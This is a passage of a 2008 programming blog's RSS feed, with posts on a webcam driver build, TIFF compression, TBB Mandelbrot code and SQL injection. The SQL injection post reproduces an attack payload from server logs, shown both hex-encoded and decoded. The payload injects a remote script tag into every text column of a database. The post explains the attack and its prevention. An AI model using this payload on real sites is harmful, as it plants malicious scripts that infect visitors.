<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>ReadKey();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">}</div>
<p><!--EndFragment--></p>
<p align="left">The &quot;remove&quot; operation is pretty simple as well. Bascically, when the node to be removed is leaf, we simply remove it. When it is root, we select one of the leave nodes to be root and forming a new two level tree.</p>
<p align="left">In the next post, I will show you one of the applications of a two level tree.</p>
<p align="left">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PD1001 Webcam on Hardy Heron</title>
		<link>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/</link>
		<comments>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 01:07:18 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Webcam]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=390</guid>
		<description><![CDATA[I have an old webcam (Creative PD1001) which is not officially supported on Linux. Fortunately, Endpoints EPCAM USB Camera Driver is known to work with PD1001 on many Linux distros. To get the driver built on Ubuntu 8.04 however, I needed to make some minor changes to epcam.c. The kernel version I was compiling against [...]]]></description>
			<content:encoded><![CDATA[<p>I have an old webcam (Creative PD1001) which is not officially supported on Linux. Fortunately, <a href="http://ubuntuforums.org/showpost.php?p=2626919&amp;postcount=29">Endpoints EPCAM USB Camera Driver</a> is known to work with PD1001 on many Linux distros. <span id="more-390"></span></p>
<p>To get the driver built on Ubuntu 8.04 however, I needed to make some minor changes to epcam.c. The kernel version I was compiling against is 2.6.24-19-generic. To get the 0.7.3 driver build successfully, I needed to comment out #include &lt;linux/config.h&gt; and then ran</p>
<p>KBUILD_NOPEDANTIC=1 make install</p>
<p>If you do not want to setup the environment variables for the build, you could just modify the #include statements to where the kernel header files are located:</p>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/module.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/version.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/init.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/fs.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/vmalloc.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/slab.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/proc_fs.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/pagemap.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/usb.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/asm/io.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/asm/semaphore.h&quot;</div>
<p>&nbsp;</p>
<p>After the build the driver is automatically installed and when the webcam is plugged in, it should be recognized by apps such as camorama (note: /dev/video0 is automatically created when the webcam is connected).</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection Attacks Still Common</title>
		<link>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/</link>
		<comments>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 01:53:52 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[SQL injection]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=381</guid>
		<description><![CDATA[Once a while, I would comb through my server logs to see i there is any unusual activities. Among all types of &#34;attacks&#34; that I could identify within my server logs, It seems that SQL injection attacks are still the most common type of attack. The latest wave of such attack looks like follows: ?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040 [...]]]></description>
			<content:encoded><![CDATA[<p>Once a while, I would comb through my server logs to see i there is any unusual activities. Among all types of &quot;attacks&quot; that I could identify within my server logs, It seems that SQL injection attacks are still the most common type of attack.<span id="more-381"></span></p>
<p>The latest wave of such attack looks like follows:</p>
<blockquote><blockquote>
<div><font face="Courier New">?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040</font></div>
<div><font face="Courier New">54207661726368617228323535292C4043207661726368617228343030302920</font></div>
<div><font face="Courier New">4445434C415245205461626C655F437572736F7220435552534F5220464F5220</font></div>
<div><font face="Courier New">73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626</font></div>
<div><font face="Courier New">A6563747320612C737973636F6C756D6E73206220776865726520612E69643D</font></div>
<div><font face="Courier New">622E696420616E6420612E78747970653D27752720616E642028622E7874797</font></div>
<div><font face="Courier New">0653D3939206F7220622E78747970653D3335206F7220622E78747970653D32</font></div>
<div><font face="Courier New">3331206F7220622E78747970653D31363729204F50454E205461626C655F437</font></div>
<div><font face="Courier New">572736F72204645544348204E4558542046524F4D20205461626C655F437572</font></div>
<div><font face="Courier New">736F7220494E544F2040542C4043205748494C4528404046455443485F53544</font></div>
<div><font face="Courier New">15455533D302920424547494E20657865632827757064617465205B272B4054</font></div>
<div><font face="Courier New">2B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73</font></div>
<div><font face="Courier New">6372697074207372633D22687474703A2F2F777777332E73733131716E2E636</font></div>
<div><font face="Courier New">E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D2727</font></div>
<div><font face="Courier New">2B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B652</font></div>
<div><font face="Courier New">0272725223E3C2F7469746C653E3C736372697074207372633D22687474703A</font></div>
<div><font face="Courier New">2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E</font></div>
<div><font face="Courier New">3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4</font></div>
<div><font face="Courier New">D20205461626C655F437572736F7220494E544F2040542C404320454E442043</font></div>
<div><font face="Courier New">4C4F5345205461626C655F437572736F72204445414C4C4F434154452054616</font></div>
<div><font face="Courier New">26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</font></div>
</blockquote>
</blockquote>
<p>&nbsp;</p>
<p>The technique used by the attacker is extremely simple. It basically generates a dynamic SQL statement (HEX encoded, many converters like this <a href="http://www.dolcevie.com/js/converter.html">one</a> can be used to translate the HEX code back to ASCII):</p>
<div>
<p><font face="Courier New">DECLARE @T varchar(255)&#8217;@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name&#8217;b.name from sysobjects a&#8217;syscolumns b where a.id=b.id and a.xtype=&#8217;u&#8217; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM&nbsp; Table_Cursor INTO @T&#8217;@C WHILE(@@FETCH_STATUS=0) BEGIN exec(&#8216;update ['+@T+'] set ['+@C+']=&#8221;&quot;&gt;&lt;/title&gt;</font><font face="Courier New" color="#ff0000">&lt;script src=&quot;http://www3.ss11qn.cn/csrss/new.htm&quot;&gt;&lt;/script&gt;</font><font face="Courier New">&lt;!&#8211;&#8221;+['+@C+'] where &#8216;+@C+&#8217; not like &#8221;%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://www3.ss11qn.cn/csrss/new.htm&quot;&gt;&lt;/script&gt;&lt;!&#8211;&#8221;&#8217;)FETCH NEXT FROM&nbsp; Table_Cursor INTO @T&#8217;@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</font></p>
<p>&nbsp;</p>
</div>
<p>The above SQL code creates a list of all the text columns in the current database and tries to insert the highlighted scripts. The script tries to &quot;infect&quot; entries that have not already been changed so that would presumably be less suspicious.</p>
<p>The following google search:</p>
<p><a href="http://www.google.com/search?hl=en&amp;q=http%3A%2F%2Fwww0.douhunqn.cn%2Fcsrss%2Fw.js&amp;btnG=Search">http://www.google.com/search?hl=en&amp;q=http%3A%2F%2Fwww0.douhunqn.cn%2Fcsrss%2Fw.js&amp;btnG=Search</a></p>
<p>revealed that there were a large number of sites that have been affected. This is quite striking since SQL injection attacks have been around for a long time and simple techniques (e.g. stored procedures, parameterized queries, escape special characters) can prevent such exploit. But it is apparent that there are still many people there embed SQL statements in their code without taking any precautions&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TIFF Merge/Split Utility EncoderValue</title>
		<link>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/</link>
		<comments>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 01:18:30 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Merge]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[TIFF]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=367</guid>
		<description><![CDATA[A While ago, I created a TIFF Merge and Split Utility that can be used to merge multiple TIFF files into a single file or split a multi-frame TIFF file into multiple single-frame TIFF files. A few people had run into some issues (e.g. &#34;Parameter is not valid.&#34; exception) using the utility. After some investigation, [...]]]></description>
			<content:encoded><![CDATA[<p>A While ago, I created a <a href="/2007/11/19/a-tiff-merge-and-split-utility/">TIFF Merge and Split Utility</a> that can be used to merge multiple TIFF files into a single file or split a multi-frame TIFF file into multiple single-frame TIFF files. <span id="more-367"></span>A few people had run into some issues (e.g. &quot;<strong><em>Parameter is not valid.</em></strong>&quot; exception) using the utility. After some investigation, it turned out that the cause seemed to be related to the EncoderValue I used (CompressionCCITT4). Apparently, it does not work on all computers.</p>
<p>To get around this issue, you will need to change the ENCODING_SCHEME (in MSUtil.cs, line 49) to</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<p style="margin: 0px;"><span style="color: olive; font-weight: bold;">EncoderValue</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>CompressionLZW</p>
</div>
<p>The draw back is that the compression ratio of this compression scheme is pretty poor and the merged TIFF file is significantly larger.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TBB Mandelbrot Set</title>
		<link>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/</link>
		<comments>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/#comments</comments>
		<pubDate>Sun, 14 Sep 2008 02:35:48 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Mandelbrot]]></category>
		<category><![CDATA[Multi-threading]]></category>
		<category><![CDATA[TBB]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=352</guid>
		<description><![CDATA[In an earlier post, I created a simple prime finding program using Intel&#8217;s TBB (Thread Building Block). The main benefit of using TBB is that threading and thread synchronization mechanism are abstracted away within the TBB library so we do not need to deal with threads explicitly. Also, TBB is optimized for performance and scales [...]]]></description>
			<content:encoded><![CDATA[<p>In an <a href="/2008/06/22/a-simple-tbb-program-tbb-prime/">earlier post</a>, I created a simple prime finding program using Intel&#8217;s TBB (<a href="http://www.threadingbuildingblocks.org/">Thread Building Block</a>). The main benefit of using TBB is that threading and thread synchronization mechanism are abstracted away within the TBB library so we do not need to deal with threads explicitly. Also, TBB is optimized for performance and scales nicely as the number of processing unit increases.<span id="more-352"></span> In this post, I will show you how to create a <a href="http://en.wikipedia.org/wiki/Mandelbrot_set">Mandelbrot Set</a> generator using TBB and how to optimize the algorithm using loop unrolling.</p>
<p>The standard algorithm for generating Mandelbrot Set is extremely easy to adapt to using TBB. In fact the loops look almost identical to those in the single-threaded approach, except that the iterations are calculated within a 2D range block (<strong>blocked_range2d</strong>) instead of the entire two dimensional space.</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">void</span> <span style="color: blue; font-weight: bold;">operator</span><span style="color: rgb(128, 128, 192); font-weight: bold;">()</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">const</span> blocked_range2d<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span>size_t<span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;</span>r<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: blue; font-weight: bold;">const</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing_area drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t x <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t y <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>y <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> y_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> y_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">while</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; color_t c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
</div>
<p>Because xlib by itself is not thread-safe, special attention must be made when trying to update the display concurrently. One way to address this issue is to employee a shared memory region (<strong>X11/extensions/XShm.h</strong> and <strong>sys/shm.h</strong>), the display is first built in memory and then the shared memory is attached to the display. In my examples above I used code (<strong>video.h</strong>, <strong>xvideo.cpp</strong>) from the sample code that come with the TBB library, which uses the shared memory method I mentioned earlier to make the X11 calls thread-safe.</p>
<p>Many optimization methods can be used to further enhance the performance of the algorithm. One of the most efficient methods is to utilize SSE instructions found on all modern Intel processors (examples can be found here: <a href="http://softwarecommunity.intel.com/articles/eng/3426.htm">Using SSE3 Technology in Algorithms with Complex Arithmetic</a>). This approach however might be difficult to implement and debug since parallel data structures must be used in order to benefit from SSE instructions. Also, explicit assembly level coding makes porting code to other machine architectures a daunting task. Modern compilers can already take full advantage of the underlying machine architecture. For example, the gcc compiler (4.2.3) already generates SSE instructions for the code snippet above. While hand tweaking using SSE instructions might further improve the performance, we would certainly sacrifice code simplicity and portability.</p>
<p>The approach I am going to take to further optimize the code is to use loop unrolling. Since the inner loop of the standard algorithm is pretty short, unrolling the inner loop should lessen the burden of loop overhead and decrease the chances of stalling the pipeline (when branching must be predicted). So a high-level loop unrolling should be able to improve the performance.</p>
<p>Here is the code after the inner loop is unrolled:</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">void</span> <span style="color: blue; font-weight: bold;">operator</span><span style="color: rgb(128, 128, 192); font-weight: bold;">()</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">const</span> blocked_range2d<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span>size_t<span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;</span>r<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: blue; font-weight: bold;">const</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing_area drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t x <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x<span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span><span style="color: teal;">2</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t y <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
